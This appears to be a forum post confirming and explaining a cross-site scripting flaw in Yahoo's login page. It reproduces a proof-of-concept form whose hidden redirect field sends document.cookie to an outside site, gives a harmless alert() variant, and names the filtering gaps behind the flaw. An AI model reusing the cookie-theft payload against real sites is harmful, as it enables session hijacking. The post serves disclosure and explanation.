Evidently this is working properly. On the page linked above at ZapTheDingBats.com is the following code:
Code:
<form method="POST" action="https://login.yahoo.com/config/login">
<input type=hidden name=".done" value="javascript:location.href=%22http://www.zapthedingbat.com/security/ex03/vun2.asp?%22%2Bdocument.cookie;">
<input type="submit" class="submit" value="Test Exploit"/>
</form>
And it shows up again on the yahoo page (which is legitimately a yahoo page):
Code:
<input type=hidden name=".done" value="javascript:location.href=%22http://www.zapthedingbat.com/security/ex03/vun2.asp?%22%2Bdocument.cookie;" >
It is indeed posted to the yahoo secure login page, which is also again forwarding you on login success.
The yahoo page posts the data to the following url:
Code:
https://login.yahoo.com/config/login?<some sessid>
For those untrusting, save a copy of the zapthedingbat page locally, and change the following line:
Code:
<input type=hidden name=".done" value="javascript:location.href=%22http://www.zapthedingbat.com/security/ex03/vun2.asp?%22%2Bdocument.cookie;">
to:
Code:
<input type=hidden name=".done" value="javascript:alert(%22Vulnerable%22);">
This will just pop up an alert box after you log in, however, what it means is that the script has successfully tricked the browser into throwing whatever javascript it wants in there. In theory, this could be quite a large amount of scripting with some subtle changes. The vulnerability appears to stem from two things:
1. They don't check the referring url is from their domains.
2. They check for raw <script> tags, and ' and ", however they don't check for the unicode values of those things, and when the location is rewritten to the browser, %22 is literally re-sent (and translated into "). Some simple unicode filtration would pretty well shut this vulnerability down.

No, it isn't a scam, but they may be using this vulnerability to collect passwords, so I'd encourage anyone playing with this to work from a copy of the script with the modifications I put above.